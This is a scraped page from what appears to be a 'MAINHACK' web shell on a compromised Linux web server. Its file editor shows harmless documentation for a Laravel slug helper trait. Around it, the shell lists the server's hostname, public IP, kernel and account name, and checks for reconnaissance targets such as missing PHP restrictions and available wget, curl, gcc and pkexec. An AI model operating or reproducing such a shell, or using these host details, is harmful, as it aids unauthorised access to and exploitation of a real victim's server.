[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SCOPE-HELPERS.md
# SluggableScopeHelpers Trait The `SluggableScopeHelpers` trait adds a query scope and other methods to make finding models with a matching slug as easy as: ```php $post = Post::findBySlug($slugString); $post = Post::findBySlugOrFail($slugString); ``` These two methods have the same signature and functionality as Eloquent's `find()` and `findOrFail()` methods except that they use the slug field instead of the primary key. The helper trait also adds a query scope to help limit searches to a particular slug: ```php $post = Post::where('author_id', '=', 3) ->whereSlug($slug) ->get(); ``` By default, the trait looks at your `sluggable()` method and uses the first slug that's defined in the configuration array for the helper scopes and methods. If your model has more than one slugged field, you will either need to put the field to be used for scopes first, or define an additional property on your model which indicates which slug is the "primary" one: ```php use Cviebrock\EloquentSluggable\Sluggable; use Cviebrock\EloquentSluggable\SluggableScopeHelpers; use Illuminate\Database\Eloquent\Model; class Post extends Model { use Sluggable; use SluggableScopeHelpers; protected $slugKeyName = 'alternate'; /** * Sluggable configuration. * * @var array */ public function sluggable(): array { return [ 'slug' => [ 'source' => 'title', ], 'alternate' => [ 'source' => 'subtitle', ] ]; } } ``` In the above case, `Post::findBySlugOrFail($slug)` is the equivalent to `Post::where('alternate,'=',$slug)->firstOrFail()`. - - - Copyright (c) 2013 Colin Viebrock
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002